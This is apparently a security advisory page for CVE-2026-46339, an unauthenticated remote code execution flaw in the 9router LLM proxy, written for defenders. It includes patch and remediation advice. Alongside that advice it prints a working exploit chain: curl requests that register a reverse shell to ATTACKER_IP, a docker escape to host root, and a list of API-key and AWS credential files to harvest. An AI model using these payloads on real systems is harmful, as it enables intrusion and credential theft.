CVE-2026-46339: 9router: unauthenticated RCE exposes LLM API keys

GHSA-fhh6-4qxv-rpqj CRITICAL
Published May 19, 2026
CISO Take

9router, a widely deployed LLM proxy router, contains a critical authentication gap introduced in v0.4.30 that allows any unauthenticated attacker with network access to execute arbitrary OS commands in under two seconds — no credentials, no prior access, no prerequisites. With 4,917 downstream dependents and a CVSS of 10.0, this affects a substantial slice of AI infrastructure; a compromised 9router host typically holds the most sensitive assets in an AI stack: Anthropic API tokens (~/.claude/settings.json), AWS credentials, TLS private keys, and all stored LLM provider configurations in the local SQLite database. The advisory includes a working proof-of-concept that achieves a full reverse shell in two HTTP requests, and confirmed docker group membership on tested hosts enables immediate container escape to host root. Patch to v0.4.37 immediately, rotate all API keys stored on any host that ran v0.4.30 through v0.4.33, and treat all exposed credentials as compromised.

Sources: GitHub Advisory NVD ATLAS

What is the risk?

Rated maximum severity (CVSS 10.0) and functionally pre-weaponized. The exploit chain is trivially reproducible from the published advisory with no AI or security expertise required: two unauthenticated HTTP requests yield remote code execution. Default Docker binding on 0.0.0.0:20128 means any host reachable over LAN or misconfigured firewall is instantly vulnerable. The blast radius extends beyond the 9router process — confirmed docker group membership enables host root escalation, and the process inherits the full environment including secrets injected via environment variables. No KEV listing yet, but the published PoC script and zero-barrier exploitation make active exploitation likely within days of public disclosure.

Attack Kill Chain

Unauthenticated Plugin Registration
Attacker sends a crafted POST to /api/cli-tools/cowork-settings with a malicious customPlugin entry containing an attacker-controlled command and args; no authentication is enforced because the route falls outside the Next.js middleware matcher.
AML.T0049
Payload Persistence in Process State
The malicious plugin command and args are stored verbatim in globalThis.__9routerCustomPlugins via registerCustomPlugin(), persisting in the Node.js process heap and surviving hot module replacement.
AML.T0081
OS Command Execution via SSE Trigger
Attacker issues an unauthenticated GET to /api/mcp/{pluginname}/sse, causing 9router to invoke spawn() with the stored attacker-controlled binary and arguments, establishing a reverse shell in under two seconds.
AML.T0072
AI Credential Exfiltration and Privilege Escalation
From the reverse shell, the attacker harvests Anthropic API tokens from ~/.claude/settings.json, all LLM provider keys from the 9router SQLite database, and AWS credentials; docker group membership is then leveraged to escape to host root.
AML.T0083

What systems are affected?

Package Ecosystem Vulnerable Range Patched
9router npm >= 0.4.30, < 0.4.37 0.4.37
171.6K 1.5K dependents Pushed 4d ago 12% patched ~0d to patch Full package profile →

Do you use 9router? You're affected.

Severity & Risk

CVSS 3.1
10.0 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Changed
C High
I High
A High

What should I do?

6 steps
  1. Patch immediately: upgrade 9router to v0.4.37 which extends the Next.js middleware matcher to cover /api/cli-tools/* and /api/mcp/* routes.

  2. If immediate patching is not possible, block all external and LAN access to port 20128 using host firewall rules (iptables -A INPUT -p tcp --dport 20128 -j DROP, except from localhost).

  3. Rotate all API keys stored on any host that ran an affected version: Anthropic, OpenAI, and all other LLM provider keys, plus AWS credentials.

  4. Audit ~/.claude/settings.json, ~/.aws/credentials, and the 9router SQLite database (DATA_DIR/db.sqlite) for evidence of unauthorized access.

  5. Indicator of compromise: check for /tmp/pwned.txt (PoC 1 artifact), unexpected outbound connections to novel IPs, and unfamiliar entries in $HOME/.bash_history or process logs.

  6. Apply defense-in-depth fixes from the advisory: command allowlist in registerCustomPlugin() and input sanitization at the cowork-settings API boundary, to protect against authenticated-user abuse post-patch.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
A.6.2.6 - Security of the AI system A.9.3 - AI system incident management
NIST AI RMF
GOVERN 6.2 - Policies and processes for AI cybersecurity and resilience MANAGE 2.2 - Mechanisms to sustain value and address risks of deployed AI systems
OWASP LLM Top 10
LLM02:2025 - Sensitive Information Disclosure LLM06:2025 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-46339?

9router, a widely deployed LLM proxy router, contains a critical authentication gap introduced in v0.4.30 that allows any unauthenticated attacker with network access to execute arbitrary OS commands in under two seconds — no credentials, no prior access, no prerequisites. With 4,917 downstream dependents and a CVSS of 10.0, this affects a substantial slice of AI infrastructure; a compromised 9router host typically holds the most sensitive assets in an AI stack: Anthropic API tokens (~/.claude/settings.json), AWS credentials, TLS private keys, and all stored LLM provider configurations in the local SQLite database. The advisory includes a working proof-of-concept that achieves a full reverse shell in two HTTP requests, and confirmed docker group membership on tested hosts enables immediate container escape to host root. Patch to v0.4.37 immediately, rotate all API keys stored on any host that ran v0.4.30 through v0.4.33, and treat all exposed credentials as compromised.

Is CVE-2026-46339 actively exploited?

No confirmed active exploitation of CVE-2026-46339 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-46339?

1. Patch immediately: upgrade 9router to v0.4.37 which extends the Next.js middleware matcher to cover /api/cli-tools/* and /api/mcp/* routes. 2. If immediate patching is not possible, block all external and LAN access to port 20128 using host firewall rules (iptables -A INPUT -p tcp --dport 20128 -j DROP, except from localhost). 3. Rotate all API keys stored on any host that ran an affected version: Anthropic, OpenAI, and all other LLM provider keys, plus AWS credentials. 4. Audit ~/.claude/settings.json, ~/.aws/credentials, and the 9router SQLite database (DATA_DIR/db.sqlite) for evidence of unauthorized access. 5. Indicator of compromise: check for /tmp/pwned.txt (PoC 1 artifact), unexpected outbound connections to novel IPs, and unfamiliar entries in $HOME/.bash_history or process logs. 6. Apply defense-in-depth fixes from the advisory: command allowlist in registerCustomPlugin() and input sanitization at the cowork-settings API boundary, to protect against authenticated-user abuse post-patch.

What systems are affected by CVE-2026-46339?

This vulnerability affects the following AI/ML architecture patterns: LLM API proxy infrastructure, MCP server infrastructure, AI agent frameworks, Local AI development environments, Multi-provider LLM routing layers.

What is the CVSS score for CVE-2026-46339?

CVE-2026-46339 has a CVSS v3.1 base score of 10.0 (CRITICAL).

Technical Details

NVD Description

## Summary 9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with **zero prerequisites** and **no credentials required**. The vulnerability exists because the Next.js middleware that enforces authentication (`src/proxy.js`) only guards 8 explicitly listed routes. The attack surface of `/api/cli-tools/*` and `/api/mcp/*` (40+ routes) receives **no authentication whatsoever**. --- ## Root Cause ### 1. Middleware Allowlist Is Too Narrow **File:** `src/proxy.js` ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", ], }; ``` Next.js middleware only runs on routes matching this list. Routes NOT listed — including `/api/cli-tools/*` and `/api/mcp/*` — bypass the `dashboardGuard` auth check entirely. ### 2. Unguarded Endpoint Accepts Arbitrary Command Registration **File:** `src/app/api/cli-tools/cowork-settings/route.js`, lines 292–319 ```js export async function POST(request) { const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json(); // ... const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : []; if (customPluginsArray.length > 0) { const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge"); const stdioCustoms = customPluginsArray .filter((p) => p.command) .map((p) => ({ name: p.name, command: p.command, // ← attacker-controlled, no validation args: p.args || [], // ← attacker-controlled, no validation })); for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis } } ``` The `command` and `args` fields from the attacker's JSON are stored verbatim into `globalThis.__9routerCustomPlugins` — a process-global Map that survives Hot Module Replacement. **File:** `src/lib/mcp/stdioSseBridge.js`, lines 114–116 ```js function registerCustomPlugin(def) { getCustomStore().set(def.name, def); // no validation of command/args } ``` ### 3. Unguarded SSE Endpoint Triggers `spawn()` with Stored Command **File:** `src/app/api/mcp/[plugin]/sse/route.js`, lines 6–25 ```js export async function GET(request, { params }) { const { plugin } = await params; if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 }); const stream = new ReadableStream({ start(controller) { sid = registerSession(plugin, send); // ← spawn() called here }, }); return new Response(stream, { ... }); } ``` **File:** `src/lib/mcp/stdioSseBridge.js`, line 138 ```js const proc = spawn(plugin.command, plugin.args, { stdio: ["pipe", "pipe", "pipe"], env: process.env, // inherits full environment }); ``` `spawn()` is called with `shell: false` (default), but since the attacker controls **both** `plugin.command` (the binary path) and `plugin.args`, this is equivalent to arbitrary command execution. --- ## Attack Chain ``` Attacker (no credentials) │ │ Step 1 — Register malicious plugin (POST, no auth) ▼ POST /api/cli-tools/cowork-settings Content-Type: application/json { "baseUrl": "x", "apiKey": "x", "models": ["x"], "customPlugins": [{ "name": "rev", "command": "/bin/bash", "args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"] }] } ← {"success":true, ...} │ Step 2 — Trigger spawn() via SSE endpoint (GET, no auth) ▼ GET /api/mcp/rev/sse ← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."]) ← Reverse shell connects to attacker ``` **Time to exploit from first request:** < 2 seconds. **Prerequisites:** Network access to port 20128 (Docker default: `0.0.0.0:20128`). --- ## Proof of Concept ### PoC 1 — File Write (no listener required) ```bash # Step 1: Register payload curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \ -H 'Content-Type: application/json' \ -d '{ "baseUrl":"x","apiKey":"x","models":["x"], "customPlugins":[{ "name":"rce1", "command":"/bin/sh", "args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"] }] }' # → {"success":true,...} # Step 2: Trigger curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1 # Verify cat /tmp/pwned.txt ``` **Observed output (on local test instance):** ``` uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama) sondt23 VSOC-sondt23-L Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux ``` ### PoC 2 — Automated PoC script ```bash # File write mode (for report) python3 poc.py --target http://TARGET:20128 --mode file # Reverse shell mode (interactive) python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444 ``` The script (`poc.py`) is included in this advisory. --- ## Impact | Category | Detail | |---|---| | **Confidentiality** | Full read access to server filesystem — API keys, TLS private keys, `~/.claude/settings.json` (Anthropic tokens), AWS credentials | | **Integrity** | Arbitrary file write, persistence via cron/systemd | | **Availability** | Process termination, resource exhaustion | | **Lateral movement** | `docker` group membership (confirmed in test) allows full container escape → host root | | **Scope** | Remote, unauthenticated, network-accessible | ### High-value exfiltration targets on a typical 9router host - `~/.claude/settings.json` — `ANTHROPIC_AUTH_TOKEN` - `~/.aws/credentials`, `~/.aws/sso/cache/*.json` — AWS keys - `$DATA_DIR/db.sqlite` — 9router local database (all stored API keys, provider configs) - TLS private keys managed by the MITM proxy (`src/mitm/`) --- ## Affected Versions | Version | Affected | Notes | |---|---|---| | < v0.4.30 | No | `cowork-settings` and MCP SSE bridge did not exist | | v0.4.30 | **Yes** | Introduced in commit `8f4d29c` (2026-05-11) | | v0.4.31 | **Yes** | | | v0.4.32 | **Yes** | | | v0.4.33 | **Yes** | Latest at time of disclosure | The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes. --- ## Remediation ### Fix 1 — Extend middleware matcher (minimal fix) **File:** `src/proxy.js` ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", // ADD these: "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ``` ### Fix 2 — Validate `command` in `registerCustomPlugin` (defense-in-depth) **File:** `src/lib/mcp/stdioSseBridge.js` ```js const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]); function registerCustomPlugin(def) { const bin = def.command?.split("/").pop(); // basename only if (!ALLOWED_MCP_COMMANDS.has(bin)) { throw new Error(`Blocked: command '${def.command}' not in allowlist`); } getCustomStore().set(def.name, def); } ``` ### Fix 3 — Sanitize `customPlugins` at the API boundary **File:** `src/app/api/cli-tools/cowork-settings/route.js`, line 312 ```js const stdioCustoms = customPluginsArray .filter((p) => p.command && typeof p.command === "string") .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check .map((p) => ({ name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""), // sanitize name command: p.command, args: (p.args || []).map(String), })); ``` **All three fixes should be applied together.** Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature. ---

Exploitation Scenario

An adversary conducting reconnaissance on an organization's AI development infrastructure identifies a 9router instance bound to 0.0.0.0:20128 — a common default in Docker-based AI dev environments. In step one, they POST a crafted payload to /api/cli-tools/cowork-settings registering a reverse shell as a custom MCP plugin named 'rev', with command /bin/bash and args pointing to their listener. The server returns HTTP 200 with no authentication challenge. In step two, they trigger GET /api/mcp/rev/sse, which causes 9router to spawn the bash reverse shell. Within seconds the adversary has an interactive shell as the developer's user account, retrieves ~/.claude/settings.json to harvest the Anthropic API token, dumps db.sqlite for all stored LLM provider keys, and pivots to AWS via ~/.aws/credentials. Because the compromised user is in the docker group (confirmed in the advisory's test run), they then escape to host root via 'docker run -v /:/mnt --rm -it alpine chroot /mnt sh'. All stolen API keys are subsequently used to exfiltrate proprietary model prompts, training pipelines, and organizational AI infrastructure from cloud provider accounts.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Timeline

Published
May 19, 2026
Last Modified
May 19, 2026
First Seen
May 19, 2026

Related Vulnerabilities